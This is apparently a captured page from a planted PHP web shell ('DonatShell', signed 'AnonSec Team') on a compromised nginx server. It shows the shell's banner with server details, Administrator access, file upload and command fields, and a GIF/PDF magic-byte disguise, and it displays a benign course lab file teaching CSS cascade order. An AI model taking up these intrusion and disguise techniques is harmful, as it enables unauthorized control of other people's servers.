GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1021/Labs/Lab05/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1021/Labs/Lab05//Lab05.phpinc
<?
// JimMartinson/CST1021/Labs/Lab04/Lab04.phpinc

$css .= ',colorCode.css';
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
#disabled = ' disabled'; // Comment this line to enable lab.

require('common/Browser/Browser.phpinc');
?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to use css and css cascade order with a web page.
	<br><span class="note normal">Any needed css <b>must</b> be exactly as directed below: inline, internal, or external.</span>
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> Instruction</legend>
<ol id="main" class="count">
	<!-- 1 -->
	<li>Create a folder for this <?=strtolower($evaluationType)?> named <b><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.
		<br>This lab will require you to make two web pages.</li>
	<!-- 2 -->
	<li class="css">Create an external style sheet named <b class="copyText"><?=$evaluationName?>.css</b>.
		<br>In this style sheet put the following styles:
		<ol>
			<li>At the top of the style sheet, set the character set with: <tag class="copyText">@charset <val>"utf-8"</val>;</tag></li>
			<li>Add this comment: <comment class="copyText">/* <?=$evaluationType?> <?=$evaluationNumber?> External Style Sheet - <?=$userFullName?> */</comment></li>
			<li>Style the <span class="tag copyText">h1</span> element with a background color of <span class="highCSV copyText">lightgreen</span> and center the text.</li>
			<li>Style the <span class="tag copyText">p</span> element with a <span class="highCSV copyText">blue</span> text color and <span class="highCSV copyText">yellow</span> background color.</li>
			<li>Style the <span class="tag copyText">p</span> element of class <span class="cssClass copyText">.firstclass</span> with a <span class="highCSV copyText">green</span> text color.</li>
			<li>Style the <span class="tag copyText">p</span> element of class <span class="cssClass copyText">.secondclass</span> also with a <span class="highCSV copyText">green</span> text color.</li>
			<li>Style the <span class="tag copyText">p</span> element of class <span class="cssClass copyText">.normal</span> with text and background colors set to inherit.</li>
			<li>Style link colors to <span class="val copyText">#0080ff</span> when normal (unvisited), <span class="val copyText">#04BA04</span> when visited, and <span class="val copyText">#AA5FFF</span> on hover or if active.</li>
			<li>Style the <span class="tag copyText">em</span> element with text in normal style (not italics) and bold weight with a background color of <span class="highCSV copyText">lavender</span>. This will effectively make <tagoc>em</tagoc> elements look like <tagoc>strong</tagoc> elements.</li>
			<li>Style the <span class="tag copyText">strong</span> element with text in italics style and normal weight with a background color of <span class="highCSV copyText">sandybrown</span>. This will effectively make <tagoc>strong</tagoc> elements look like <tagoc>em</tagoc> elements.</li>
		</ol>
	</li>
	<!-- 3 -->
	<li class="pageA">Create a web page named <b class="copyText"><?=$saveFileName_A?>.html</b>.
		<br><span class="note normal">Any needed css <b>must</b> be exactly as directed below: inline or internal.</span>
		<br>This code and these elements need to be present:
		<ol>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
			<li>Title the page <span-content class="copyText"><?=$pageTitle_A?></span-content>.</li>
			<li>A <span class="highELE">link</span> <span class="highATT">href</span>=<span class="highVAL">"<?=$evaluationName?>.css"</span> <span class="highATT">rel</span>=<span class="highVAL">"stylesheet"</span> tag.</li>
			<li class="css">The following internal styles at the end of the head section:
				<ol>
					<li>The <span class="tag">p</span> element of class <span class="cssClass copyText">.secondclass</span> with a <span class="highCSV copyText">red</span> text color.</li>
					<li>The <span class="tag">em</span> element with a text color of <span class="highCSV copyText">blue</span>.</li>
				</ol>
			</li>
			<li>A paragraph with no class or id and some content.</li>
			<li>A paragraph with a class of <span class="highVAL copyText">firstclass</span> and some content.</li>
			<li>A paragraph with a class of <span class="highVAL copyText">secondclass</span> and some content.</li>
			<li>A paragraph with a class of <span class="highVAL copyText">normal</span> and the following content:
				<ol>
					<li>Some text.</li>
					<li>Some text in an <tagoc>em</tagoc> tag.</li>
					<li>Some text in an <tagoc>strong</tagoc> tag.</li>
					<li>A link to <b class="copyText"><?=$saveFileName_B?>.html</b>.</li>
					<li>A link to an outside web page.</li>
					<li>A link to <b><?=$evaluationName?>ooga.html</b> (Which does not exist - will always demonstrate a normal link).</li>
				</ol>
			</li>
		</ol>
		<div id="show_page_a" class="inline"><a href="#" onClick="divHide('show_page_a'); divShow('hide_page_a'); return false;">See an example page:</a></div>
		<div id="hide_page_a" class="hidden"><a href="#" onClick="divHide('hide_page_a'); divShowInline('show_page_a'); return false;">Hide the example page.</a>
			<? BrowserBegin($evaluationType.' '.$evaluationNumber.' A - '.$userFullName,'file:///'.$courseNumber.'/'.$evaluationName.'/'.$userFileName.'-'.$evaluationName.'-A.html'); ?>
			<img src="images/example1.png" alt="Example page A" width="800" height="354">
			<? BrowserEnd(); ?>
		</div>
	</li>
	<!-- 4 -->
	<li class="pageB">Create a web page named <b class="copyText"><?=$saveFileName_B?>.html</b>.
		<ol>
			<li>Copy the content from <b><?=$saveFileName_A?>.html</b> and make the following changes:</li>
			<li>Change the title of the page to <span-content class="copyText"><?=$pageTitle_B?></span-content>.</li>
			<li class="cssB">Change the internal style for the <span class="tag">p</span> element of class <span class="cssClass">.secondclass</span> to text color <span class="copyText" style="color:orange;">orange</span> and the background color to <span class="highCSV copyText">black</span>.</li>
			<li>Change the content of the <tagoc>h1</tagoc> element to <span-content class="copyText"><?=$pageTitle_B?></span-content>.</li>
			<li>Direcly under to first <span class="highVAL">secondclass</span> paragraph, make another paragraph of class <span class="highVAL">secondclass</span> and add an <span class="cssB">inline style that sets the text color to <span class="highCSV copyText">yellow</span></span>.</li>
			<li>In the paragraph of class <span class="highVAL">normal</span>, add an <span class="cssB">inline style to the <span class="tag">em</span> element with a text color <span class="highCSV copyText">red</span></span>.</li>
			<li>Change the link from <b><?=$saveFileName_B?>.html</b> to <b class="copyText"><?=$saveFileName_A?>.html</b>.</li>
			<li>Remove the links to the external and <?=$evaluationName?>ooga.html pages.</li>
		</ol>
		<div id="show_page_b" class="inline"><a href="#" onClick="divHide('show_page_b'); divShow('hide_page_b'); return false;">See an example page:</a></div>
		<div id="hide_page_b" class="hidden"><a href="#" onClick="divHide('hide_page_b'); divShowInline('show_page_b'); return false;">Hide the example page.</a>
			<? BrowserBegin($evaluationType.' '.$evaluationNumber.' B - '.$userFullName,'file:///'.$courseNumber.'/'.$evaluationName.'/'.$userFileName.'-'.$evaluationName.'-B.html'); ?>
			<img src="images/example2.png" alt="Example page B" width="800" height="379">
			<? BrowserEnd(); ?>
		</div>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<?
require('../LabNotes.phpinc');
$PartialGradingCriteria = '
<b>Total possible points: assignmentPoints</b>
<br>
-assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors.
No further grading will be done.
<br>
Deductions for any elements required by the lab that are not present or incorrect:
<br>
-1 for each missing element or like group.
<br>
-1 for each incorrect element or like group.
<br>
-1 for any additional html elements that have errors. 
<br>
<span class="note">Do not add any additional code or styling other than what is required by the lab.
<br>I will deduct points for additional code or styling that are incorrect or cause problems.</span>
';

require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team